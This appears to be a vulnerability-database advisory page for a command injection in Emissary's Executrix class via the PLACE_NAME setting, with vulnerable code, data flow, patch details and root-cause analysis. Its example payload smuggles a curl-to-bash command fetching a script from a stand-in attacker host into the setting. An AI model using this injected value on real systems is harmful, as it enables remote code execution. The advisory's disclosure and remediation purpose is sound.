7.2

CVSS Score

3.1

-

CVSS Score

Basic Information

Concerned about an active attack path?

Talk to our security experts and see Miggo in action.

Miggo Vulnerability Database

→

CVE-2026-35581

CVE-2026-35581: Emissary has a Command Injection via PLACE_NAME Configuration in Executrix

Summary

The Executrix utility class constructed shell commands by concatenating configuration-derived values — including the PLACE_NAME parameter — with insufficient sanitization. Only spaces were replaced with underscores, allowing shell metacharacters (;, |, $, `, (, ), etc.) to pass through into /bin/sh -c command execution.

Details

Vulnerable code — `Executrix.java`

Insufficient sanitization (line 132):

this.placeName = this.placeName.replace(' ', '_');
// ONLY replaces spaces — shell metacharacters pass through

Shell sink (line 1052–1058):

protected String[] getTimedCommand(final String c) {
    return new String[] {"/bin/sh", "-c", "ulimit -c 0; cd " + tmpNames[DIR] + "; " + c};
}

Data flow

PLACE_NAME is read from a configuration file
Executrix applies only a space-to-underscore replacement
The placeName is used to construct temporary directory paths (tmpNames[DIR])
tmpNames[DIR] is concatenated into a shell command string
The command is executed via /bin/sh -c

Example payload

PLACE_NAME = "test;curl attacker.com/shell.sh|bash;x"

After the original sanitization: test;curl_attacker.com/shell.sh|bash;x (semicolons, pipes, and other metacharacters preserved)

Impact

Arbitrary command execution on the Emissary host
Requires the ability to control configuration values (e.g., administrative access or a compromised configuration source)

Remediation

Fixed in PR #1290, merged into release 8.39.0.

The space-only replacement was replaced with an allowlist regex that strips all characters not matching [a-zA-Z0-9_-]:

protected static final Pattern INVALID_PLACE_NAME_CHARS = Pattern.compile("[^a-zA-Z0-9_-]");

protected static String cleanPlaceName(final String placeName) {
    return INVALID_PLACE_NAME_CHARS.matcher(placeName).replaceAll("_");
}

This ensures that any shell metacharacter in the PLACE_NAME configuration value is replaced with an underscore before it can reach a command string.

Tests were added to verify that parentheses, slashes, dots, hash, dollar signs, backslashes, quotes, semicolons, carets, and at-signs are all sanitized.

Workarounds

If upgrading is not immediately possible, ensure that PLACE_NAME values in all configuration files contain only alphanumeric characters, underscores, and hyphens.

References

PR #1290 — validate placename with an allowlist
Original report: GHSA-wjqm-p579-x3ww

(GitHub Advisory)

Miggo Vulnerability Database

→

CVE-2026-35581

CVE-2026-35581:

7.2

CVSS Score

3.1

-

CVSS Score

Basic Information

Is this CVE running in your environment?

Easily map the attack path and prioritize which CVEs are a threat to your organization

Validate Exposure

Technical Details

Package Name	Ecosystem	Vulnerable Versions	First Patched Version
gov.nsa.emissary:emissary	maven	< 8.39.0	8.39.0

Technical Details

Vulnerability Intelligence
Miggo AI

Root Cause Analysis

The vulnerability is a classic command injection in the emissary.util.shell.Executrix class. The root cause is the insufficient sanitization of the PLACE_NAME configuration parameter. The analysis of the provided patch (commit 2606aee64cc6c7066c2f84550c1f1f61ee551b52) confirms this. The configure method was changed to replace a weak replace(' ', '_') call with a strong, allowlist-based regex [^a-zA-Z0-9_-]. This function is the entry point for the vulnerability, where malicious input is processed. The vulnerability description explicitly identifies getTimedCommand as the execution sink, where the unsanitized placeName (as part of a directory path) is concatenated into a command string and executed by the shell. Therefore, both configure (for processing the malicious input) and getTimedCommand (for executing it) would appear in a runtime profile during exploitation.

Vulnerable functions

emissary.util.shell.Executrix.configure

src/main/java/emissary/util/shell/Executrix.java

This function reads the 'PLACE_NAME' configuration value and performs insufficient sanitization. It only replaces spaces with underscores, allowing other shell metacharacters to persist. This tainted 'placeName' is later used in a shell command.

emissary.util.shell.Executrix.getTimedCommand

src/main/java/emissary/util/shell/Executrix.java

This function acts as the sink for the command injection. It constructs a shell command string that includes a directory path (`tmpNames[DIR]`) derived from the unsanitized 'placeName' parameter. An attacker-controlled 'placeName' can inject arbitrary commands that will be executed by '/bin/sh -c'.

Vulnerability Intelligence
Miggo AI

Unlock WAF rules for this CVE

Generate vendor-ready rules for the observed attack patterns, plus reasoning and safe deployment guidance

Get WAF rules

WAF Protection Rules

WAF Rule

W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.W** rul*s *v*il**l* *or Mi**o *ustom*rs only.

Reasoning

*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.*v*il**l* *or Mi**o *ustom*rs only.

7.2

-

Basic Information

Basic Information

Concerned about an active attack path?

CVE-2026-35581: Emissary has a Command Injection via PLACE_NAME Configuration in Executrix

Summary

Details

Vulnerable code — Executrix.java

Data flow

Example payload

Impact

Remediation

Workarounds

References

CVE-2026-35581:

7.2

-

Basic Information

Basic Information

Is this CVE running in your environment?

Technical Details

Technical Details

Vulnerability IntelligenceMiggo AI

Root Cause Analysis

Vulnerable functions

Vulnerability IntelligenceMiggo AI

Unlock WAF rules for this CVE

WAF Protection Rules

WAF Rule

Reasoning

7.2

7.2

Vulnerability IntelligenceMiggo AI

Root Cause Analysis

Vulnerable functions

Technical Details

Basic Information

Basic Information

CVE-2026-35581: Emissary has a Command Injection via PLACE_NAME Configuration in Executrix

Summary

Details

Vulnerable code — Executrix.java

Data flow

Example payload

Impact

Remediation

Workarounds

References

Vulnerable code — `Executrix.java`

Vulnerability Intelligence
Miggo AI

Vulnerability Intelligence
Miggo AI

Vulnerability Intelligence
Miggo AI

Vulnerable code — `Executrix.java`